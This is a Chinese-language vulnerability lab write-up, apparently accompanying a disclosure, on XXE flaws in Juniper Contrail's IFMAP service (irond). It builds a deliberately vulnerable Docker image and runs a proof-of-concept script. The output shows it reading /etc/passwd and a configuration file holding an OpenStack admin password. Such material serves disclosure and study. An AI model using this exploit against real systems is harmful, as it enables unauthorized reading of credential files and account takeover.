这两个漏洞影响 Juniper Contrail 版本 2.2、3.0、3.1 和 3.2:
厂商安全公告可在 Juniper 安全警报 JSA10819 2017-10 查看。
Contrail 产品中的易受攻击的服务是一个 IFMAP 守护进程,它来自 irond。为简单起见,我们将继续使用 irond 并利用 XXE 漏洞。
我们都喜欢动手实践。构建镜像:
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
该镜像基于 maven alpine 镜像,并包含 irond 仓库的克隆。
一个匹配 Contrail 设置的测试文件放置在易受攻击镜像的 /etc/contrail/openstackrc 路径下。该文件包含 OpenStack 管理员密码,这是一个相当敏感的资产。
启动易受攻击的 IFMAP 服务:
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
IFMAP 服务现在在本机的 8443 端口上可用。
一旦设置了易受攻击的 IFMAP 服务,请执行以下操作:
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
这有效地揭示了 OpenStack 管理员密码。